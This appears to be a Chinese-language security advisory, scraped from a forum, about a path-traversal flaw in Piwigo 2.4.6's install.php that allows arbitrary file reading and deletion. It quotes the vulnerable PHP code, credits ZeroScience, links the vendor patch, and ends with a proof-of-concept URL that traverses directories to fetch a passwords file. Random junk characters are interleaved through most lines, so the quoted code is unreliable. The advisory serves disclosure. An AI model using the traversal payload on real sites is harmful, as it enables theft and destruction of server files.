Piwigo是用PHP编写的相册脚本。
7 h' g) i. f6 X4 ~" W& P7 E
$ \+ ? K# Z* sPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
% c4 d$ \( {5 W4 i5 m====================================================================. [2 J5 F6 l+ _1 w$ \
/install.php:
. G. H8 V/ o4 T: N-------------
; A# ^' p! b5 m( E6 h0 L113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))6 d6 K) |* ?, u8 H& c
114: {" g# B% n6 x6 x7 {
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];/ ~" v T) b+ H6 e0 E2 q9 U
116: header('Cache-Control: no-cache, must-revalidate');$ U I) |( j* }/ Q
117: header('Pragma: no-cache');
! p) x' H; i" \: ~# v* [118: header('Content-Disposition: attachment; filename="database.inc.php"');
3 s& F3 y% J: B' F+ a- \1 n+ Z119: header('Content-Transfer-Encoding: binary');
' ^8 S6 o) B8 b; h, h120: header('Content-Length: '.filesize($filename));5 _% a9 X7 b$ T
121: echo file_get_contents($filename);
/ r7 n& h# k" ]6 V! G9 V, ~: M) h' i# i& [122: unlink($filename);2 Q3 E' E# [) B" X: {' L7 }# S; L
123: exit();3 O& `) }+ ~5 j& E6 g& I
124: }1 K& L( M/ S+ f/ |% k
====================================================================
+ h) R) I* t$ p, l- `2 X) ~# i
2 E5 I4 g9 x, s9 I1 H% m$ ITested on: Microsoft Windows 7 Ultimate SP1 (EN)
; Q, f! q+ k6 g* V( D& m* G Apache 2.4.2 (Win32)5 l/ T7 f& H+ L b
PHP 5.4.4
5 N, |2 {- R# x; L. o7 G* P y4 V MySQL 5.5.25a
8 [. v0 H4 e6 h- }4 Z/ D5 \3 A 3 g3 x B+ A8 Y6 d: b; g% {! ~
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic9 D5 z4 U* H# I
@zeroscience
$ }/ G( O4 T( k1 D( l4 E9 i+ f ) D; K6 ^% \- A! i" R
Advisory ID: ZSL-2013-51272 D/ ]- W- k; U7 j4 K
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
" y$ s" U6 m, l9 I' d5 YVendor Patch: http://piwigo.org/bugs/view.php?id=28439 I4 r6 D a/ U! x7 s7 {* U: j L
0 E4 o! i& j/ K! d15.02.2013
1 u1 z* @' D* V5 a4 M) J5 b% ?9 w 5 P0 R$ w c; r* f
--
& d# [: E! {3 E) Y8 yhttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt. s" V* \) E) R) y. R/ h5 e- W
" ?8 V# p0 q4 i- l |